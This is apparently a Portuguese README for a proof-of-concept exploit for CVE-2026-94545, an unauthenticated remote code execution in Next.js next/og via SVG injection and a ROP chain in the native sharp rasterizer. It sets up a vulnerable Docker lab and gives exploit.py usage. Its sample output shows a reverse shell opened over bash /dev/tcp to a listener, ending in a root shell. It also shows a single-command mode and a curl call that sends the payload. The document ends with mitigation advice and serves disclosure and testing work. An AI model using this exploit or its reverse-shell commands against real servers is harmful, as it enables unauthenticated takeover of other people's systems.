
Proof-of-concept de exploit para CVE-2026-94545, um RCE não autenticado no next/og do Next.js via injeção de SVG e uma cadeia ROP contra o rasterizador nativo sharp.
★ CVE-2026-94545 Next.js next/og injeção de SVG para RCE nativo ★
https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160
next/ogcria imagens Open Graph renderizando JSX para um SVG com Satori e depois rasterizando esse SVG. O Satori escreve texto fornecido pelo usuário no SVG sem escapá-lo (CWE-116), então uma requisição pode fechar o elemento ao redor e injetar sua própria marcação SVG. Quando a rota é executada no runtime Node.js comsharpinstalado, esse SVG é rasterizado por bibliotecas nativas (libvips, librsvg, libxml2) em vez do renderizador wasm em sandbox. Um payload construído a partir de uma referência XInclude e entidades DTD aninhadas corrompe a memória dentro desse parser nativo. O binário oficial do Node.js é non-PIE, então seu código e GOT não são randomizados e uma cadeia ROP fixa alcançaexecvesem vazamento de endereço. Uma única requisição não autenticada a uma rota de imagem OG é suficiente para executar comandos como o processo do servidor.
| Categoria | Versão |
|---|---|
| Vulnerável | Next.js 16.2.0 – 16.3.5 (runtime Node, sharp presente), Satori >=0.0.27 <0.33.5 |
| Corrigida | Next.js 16.3.6 / Satori 0.33.5 ou posterior |
Apenas o caminho do runtime Node.js é afetado. Com
export const runtime = 'edge', ou uma instalação semsharp, a imagem é desenhada pelo renderizadorresvg-wasm em sandbox e o bug não leva à execução de código.
ImageResponse é um sink.execve bem-sucedido substitui o worker, então a requisição HTTP simplesmente fecha e o resultado precisa voltar por outro meio, como um reverse shell ou um comando que faça callback.Um app Next.js mínimo que reproduz a configuração vulnerável. A rota em /api/og renderiza
um ImageResponse no runtime Node, e sharp está instalado para que o rasterizador nativo seja usado.
A imagem fixa a stack exata da qual a cadeia ROP depende (Node 24.20.0 non-PIE, Next 16.3.5, sharp
0.35.4 com libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). A primeira build baixa o Node, instala
as dependências npm e executa next build, o que leva alguns minutos.
docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545
# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
| Pré-condição | Estado neste lab |
|---|---|
| Next.js 16.2.0 – 16.3.5 no runtime Node | Next 16.3.5, runtime = 'nodejs' |
sharp instalado, para que o caminho nativo librsvg/libxml2 seja usado | sharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3 |
| Binário Node non-PIE para uma base ROP estável | Node oficial v24.20.0 linux-x64 (verificado por SHA) |
| Rota de imagem OG acessível sem autenticação | GET e POST /api/og, o texto da requisição vai para um <title> do SVG |
| Caminho de saída disponível para um reverse shell | bash e /dev/tcp estão presentes |
A rota vulnerável é POST /api/og. Ela pega o corpo da requisição e o coloca em um <title> do SVG
antes de rasterizar. exploit.py constrói esse SVG para um comando escolhido, codifica a cadeia ROP em um
<path> e o envia para a rota.
A execução mais simples abre um reverse shell. Informe o alvo e um endereço de listener; ele inicia o nc
para você, dispara a requisição e entrega o shell.
python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444
O payload é calibrado para a stack listada em Ambiente, então execute-o contra esta imagem ou um host com a mesma build de Node e sharp. Um acerto substitui o processo node pelo seu comando, o que significa que a requisição HTTP fecha e o serviço para de responder até que o contêiner seja reiniciado.
[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux
O reverse shell é executado como o processo do servidor, o que confirma a execução de código a partir de uma única requisição não autenticada. Para executar um comando sem um listener, passe-o diretamente; observe que a saída não retorna via HTTP, então o comando precisa enviar qualquer coisa que você queira ver fora de banda.
# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"
# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og
next/og para export const runtime = 'edge' para que o renderizador wasm em sandbox seja usado, ou remova sharp para que o caminho nativo não seja alcançado, e mantenha entrada de usuário não sanitizada fora dos filhos de ImageResponse.